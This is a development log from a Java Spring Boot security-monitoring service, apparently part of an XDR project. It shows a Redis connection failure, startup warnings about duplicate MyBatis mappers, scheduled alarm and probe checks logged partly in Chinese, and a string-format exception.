||||
org.springframework.data.redis.RedisConnectionFailureException: Unable to connect to Redis; nested exception is io.lettuce.core.RedisConnectionException: Unable to connect to 192.168.222.131:6379
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.translateException(LettuceConnectionFactory.java:1689)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.getConnection(LettuceConnectionFactory.java:1597)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$SharedConnection.getNativeConnection(LettuceConnectionFactory.java:1383)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$SharedConnection.getConnection(LettuceConnectionFactory.java:1366)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory.getSharedConnection(LettuceConnectionFactory.java:1093)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory.getConnection(LettuceConnectionFactory.java:421)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.fetchConnection(RedisConnectionUtils.java:193)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.doGetConnection(RedisConnectionUtils.java:144)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.getConnection(RedisConnectionUtils.java:105)
|
||||
at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:211)
|
||||
at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:191)
|
||||
at org.springframework.data.redis.core.AbstractOperations.execute(AbstractOperations.java:97)
|
||||
at org.springframework.data.redis.core.DefaultValueOperations.get(DefaultValueOperations.java:54)
|
||||
at com.common.service.impl.RuleExecutionTimeServiceImpl.getNextExecuteTime(RuleExecutionTimeServiceImpl.java:35)
|
||||
at com.common.schedule.RealtimeAnalysisScheduler.checkAndExecuteRules(RealtimeAnalysisScheduler.java:97)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.springframework.scheduling.support.ScheduledMethodRunnable.run(ScheduledMethodRunnable.java:84)
|
||||
at org.springframework.scheduling.support.DelegatingErrorHandlingRunnable.run(DelegatingErrorHandlingRunnable.java:54)
|
||||
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
|
||||
at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:308)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
|
||||
at java.lang.Thread.run(Thread.java:745)
|
||||
Caused by: io.lettuce.core.RedisConnectionException: Unable to connect to 192.168.222.131:6379
|
||||
at io.lettuce.core.RedisConnectionException.create(RedisConnectionException.java:78)
|
||||
at io.lettuce.core.RedisConnectionException.create(RedisConnectionException.java:56)
|
||||
at io.lettuce.core.AbstractRedisClient.getConnection(AbstractRedisClient.java:330)
|
||||
at io.lettuce.core.RedisClient.connect(RedisClient.java:216)
|
||||
at org.springframework.data.redis.connection.lettuce.StandaloneConnectionProvider.lambda$getConnection$1(StandaloneConnectionProvider.java:115)
|
||||
at java.util.Optional.orElseGet(Optional.java:267)
|
||||
at org.springframework.data.redis.connection.lettuce.StandaloneConnectionProvider.getConnection(StandaloneConnectionProvider.java:115)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.getConnection(LettuceConnectionFactory.java:1595)
|
||||
... 26 common frames omitted
|
||||
Caused by: io.netty.channel.AbstractChannel$AnnotatedConnectException: Connection refused: no further information: /192.168.222.131:6379
|
||||
Caused by: java.net.ConnectException: Connection refused: no further information
|
||||
at sun.nio.ch.SocketChannelImpl.checkConnect(Native Method)
|
||||
at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:717)
|
||||
at io.netty.channel.socket.nio.NioSocketChannel.doFinishConnect(NioSocketChannel.java:337)
|
||||
at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.finishConnect(AbstractNioChannel.java:334)
|
||||
at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:776)
|
||||
at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:724)
|
||||
at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:650)
|
||||
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:562)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at java.lang.Thread.run(Thread.java:745)
|
||||
2026-05-18 18:29:31.003 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 40544 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 18:29:31.008 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 18:29:31.012 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 18:29:33.540 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:29:33.542 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:29:34.043 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 476 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 18:29:34.050 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:29:34.052 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:29:34.182 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 18:29:34.183 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 130 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 18:29:34.195 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:29:34.196 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 18:29:34.317 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 18:29:34.317 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 113 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 18:29:34.452 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.453 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.453 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.453 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.453 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.453 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.453 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.453 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.454 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.456 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:29:34.457 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 18:29:35.057 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 18:29:35.066 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:29:35.067 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 18:29:35.068 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 18:29:35.257 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 18:29:35.257 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4127 ms
|
||||
2026-05-18 18:29:35.314 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 18:29:38.038 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:29:38.466 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 18:29:38.476 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 18:29:38.493 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 18:29:38.496 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 18:29:38.545 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 18:29:43.666 [main] INFO c.c.s.RealtimeAnalysisScheduler - ========== 初始化实时分析调度器 ==========
|
||||
2026-05-18 18:29:43.686 [main] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer - Starting...
|
||||
2026-05-18 18:29:44.351 [main] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer - Start completed.
|
||||
2026-05-18 18:29:44.534 [main] INFO c.c.s.RealtimeAnalysisScheduler - 查询到 1 个实时分析规则
|
||||
2026-05-18 18:29:50.295 [main] INFO c.c.s.i.RuleExecutionTimeServiceImpl - 规则执行时间已存在,跳过初始化,ruleId=4e134d65-1170-4d20-ab48-77f3fee6a765
|
||||
2026-05-18 18:29:50.295 [main] INFO c.c.s.RealtimeAnalysisScheduler - 初始化规则: ruleId=4e134d65-1170-4d20-ab48-77f3fee6a765, ruleName=告警降噪分析规则-测试-V2, windowType=tumble
|
||||
2026-05-18 18:29:50.295 [main] INFO c.c.s.RealtimeAnalysisScheduler - ========== 实时分析调度器初始化完成 ==========
|
||||
2026-05-18 18:29:50.302 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: public static com.common.service.DeviceDeviceService com.common.service.AccessLogAlertService.deviceDeviceService
|
||||
2026-05-18 18:29:50.332 [main] INFO c.c.service.AccessLogAlertService - 初始化AccessLogAlertService,上次处理时间: 2026-05-18T18:28:50.332
|
||||
2026-05-18 18:29:50.561 [main] INFO c.c.service.AccessLogAlertService - 加载了 1 个启用的算法配置
|
||||
2026-05-18 18:29:51.200 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:29:51.350 [main] INFO com.common.util.MyBatisUtil - MyBatis 初始化成功
|
||||
2026-05-18 18:29:51.404 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogApplication.dmColumnService
|
||||
2026-05-18 18:29:52.086 [main] INFO org.quartz.impl.StdSchedulerFactory - Using default implementation for ThreadExecutor
|
||||
2026-05-18 18:29:52.100 [main] INFO o.quartz.core.SchedulerSignalerImpl - Initialized Scheduler Signaller of type: class org.quartz.core.SchedulerSignalerImpl
|
||||
2026-05-18 18:29:52.100 [main] INFO org.quartz.core.QuartzScheduler - Quartz Scheduler v.2.3.2 created.
|
||||
2026-05-18 18:29:52.101 [main] INFO org.quartz.simpl.RAMJobStore - RAMJobStore initialized.
|
||||
2026-05-18 18:29:52.102 [main] INFO org.quartz.core.QuartzScheduler - Scheduler meta-data: Quartz Scheduler (v2.3.2) 'quartzScheduler' with instanceId 'NON_CLUSTERED'
|
||||
Scheduler class: 'org.quartz.core.QuartzScheduler' - running locally.
|
||||
NOT STARTED.
|
||||
Currently in standby mode.
|
||||
Number of jobs executed: 0
|
||||
Using thread pool 'org.quartz.simpl.SimpleThreadPool' - with 10 threads.
|
||||
Using job-store 'org.quartz.simpl.RAMJobStore' - which does not support persistence. and is not clustered.
|
||||
|
||||
2026-05-18 18:29:52.102 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler 'quartzScheduler' initialized from an externally provided properties instance.
|
||||
2026-05-18 18:29:52.102 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler version: 2.3.2
|
||||
2026-05-18 18:29:52.102 [main] INFO org.quartz.core.QuartzScheduler - JobFactory set to: org.springframework.scheduling.quartz.SpringBeanJobFactory@7828111d
|
||||
2026-05-18 18:29:52.292 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:29:52.292 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:29:52.292 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779100192291
|
||||
2026-05-18 18:29:52.313 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:29:52.313 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:29:52.313 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779100192313
|
||||
2026-05-18 18:29:52.315 [main] INFO o.a.coyote.http11.Http11NioProtocol - Starting ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:29:52.329 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8289 (http) with context path '/xdrservice'
|
||||
2026-05-18 18:29:52.329 [main] INFO o.s.s.quartz.SchedulerFactoryBean - Starting Quartz Scheduler now
|
||||
2026-05-18 18:29:52.329 [main] INFO org.quartz.core.QuartzScheduler - Scheduler quartzScheduler_$_NON_CLUSTERED started.
|
||||
2026-05-18 18:29:52.347 [main] INFO com.syslogRuleApplication - Started syslogRuleApplication in 21.893 seconds (JVM running for 27.243)
|
||||
2026-05-18 18:29:54.458 [org.springframework.kafka.KafkaListenerEndpointContainer#0-1-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: []
|
||||
2026-05-18 18:29:54.480 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: [test-topic-0]
|
||||
2026-05-18 18:30:00.002 [scheduling-5] INFO c.c.s.AlarmHealthCheckScheduler - ========== 开始执行告警健康检查 ==========
|
||||
2026-05-18 18:30:00.003 [scheduling-4] INFO c.c.s.ProbeStatusCheckScheduler - ========== 开始探针状态检查 ==========
|
||||
2026-05-18 18:30:00.010 [scheduling-6] INFO c.c.service.AccessLogAlertService - 开始执行访问日志告警处理任务
|
||||
2026-05-18 18:30:00.010 [log-processor-1] INFO c.c.service.AccessLogAlertService - 开始执行访问日志告警处理任务
|
||||
2026-05-18 18:30:00.116 [scheduling-1] INFO c.c.service.DeviceStatsUpdateService - 开始执行设备统计更新任务...
|
||||
2026-05-18 18:30:00.201 [scheduling-1] INFO c.c.service.DeviceStatsUpdateService - 设备统计更新完成,处理设备数:0,耗时:85ms
|
||||
2026-05-18 18:30:00.201 [scheduling-1] INFO c.c.service.DeviceStatsUpdateService - 开始执行设备采集探针任务时间更新,时间: 2026-05-18T18:30:00.201
|
||||
2026-05-18 18:30:00.204 [scheduling-1] INFO c.c.s.DeviceCollectTaskUpdateService - 开始批量更新设备采集任务时间,当前时间: 2026-05-18T18:30:00.204
|
||||
2026-05-18 18:30:00.235 [scheduling-5] INFO c.c.service.AlarmHealthCheckService - 告警表 alarm_20260518 健康检查: 4小时内数据量=0, 状态=异常
|
||||
2026-05-18 18:30:00.238 [scheduling-5] ERROR c.c.s.AlarmHealthCheckScheduler - 告警健康检查执行异常: d != java.lang.String
|
||||
java.util.IllegalFormatConversionException: d != java.lang.String
|
||||
at java.util.Formatter$FormatSpecifier.failConversion(Formatter.java:4302)
|
||||
at java.util.Formatter$FormatSpecifier.printInteger(Formatter.java:2793)
|
||||
at java.util.Formatter$FormatSpecifier.print(Formatter.java:2747)
|
||||
at java.util.Formatter.format(Formatter.java:2520)
|
||||
at java.util.Formatter.format(Formatter.java:2455)
|
||||
at java.lang.String.format(String.java:2940)
|
||||
at com.common.service.AlarmHealthCheckService.generateAlarmNotification(AlarmHealthCheckService.java:119)
|
||||
at com.common.service.AlarmHealthCheckService.performHealthCheck(AlarmHealthCheckService.java:48)
|
||||
at com.common.schedule.AlarmHealthCheckScheduler.scheduledHealthCheck(AlarmHealthCheckScheduler.java:32)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.springframework.scheduling.support.ScheduledMethodRunnable.run(ScheduledMethodRunnable.java:84)
|
||||
at org.springframework.scheduling.support.DelegatingErrorHandlingRunnable.run(DelegatingErrorHandlingRunnable.java:54)
|
||||
at org.springframework.scheduling.concurrent.ReschedulingRunnable.run(ReschedulingRunnable.java:95)
|
||||
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
|
||||
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:180)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:293)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
|
||||
at java.lang.Thread.run(Thread.java:745)
|
||||
2026-05-18 18:30:00.238 [scheduling-5] INFO c.c.s.AlarmHealthCheckScheduler - ========== 告警健康检查任务结束 ==========
|
||||
2026-05-18 18:30:00.266 [scheduling-6] INFO c.c.service.AccessLogAlertService - 加载了 1 个启用的算法配置
|
||||
2026-05-18 18:30:00.266 [log-processor-1] INFO c.c.service.AccessLogAlertService - 加载了 1 个启用的算法配置
|
||||
2026-05-18 18:30:00.277 [scheduling-4] INFO c.c.s.ProbeStatusCheckScheduler - 探针状态检查完成,所有探针在线, 耗时: 274ms
|
||||
2026-05-18 18:30:00.430 [scheduling-4] INFO c.c.s.ProbeStatusCheckScheduler - 探针统计: 总数=1, 在线=1, 离线=0
|
||||
2026-05-18 18:30:00.431 [scheduling-4] INFO c.c.s.ProbeStatusCheckScheduler - ========== 探针状态检查结束 ==========
|
||||
2026-05-18 18:30:00.709 [scheduling-1] INFO c.c.s.DeviceCollectTaskUpdateService - 批量更新完成,总计: 48,已更新: 1
|
||||
2026-05-18 18:30:00.709 [scheduling-1] INFO c.c.service.DeviceStatsUpdateService - 设备采集探针任务时间更新完成,耗时: 508ms
|
||||
2026-05-18 18:30:01.054 [scheduling-6] INFO c.c.service.AccessLogAlertService - 没有发现新的日志数据,上次处理时间: 2026-05-18T18:28:50.332
|
||||
2026-05-18 18:30:01.054 [log-processor-1] INFO c.c.service.AccessLogAlertService - 没有发现新的日志数据,上次处理时间: 2026-05-18T18:28:50.332
|
||||
2026-05-18 18:50:30.670 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 35868 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 18:50:30.675 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 18:50:30.677 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 18:50:32.981 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:50:32.984 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:50:33.553 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 564 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 18:50:33.560 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:50:33.561 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
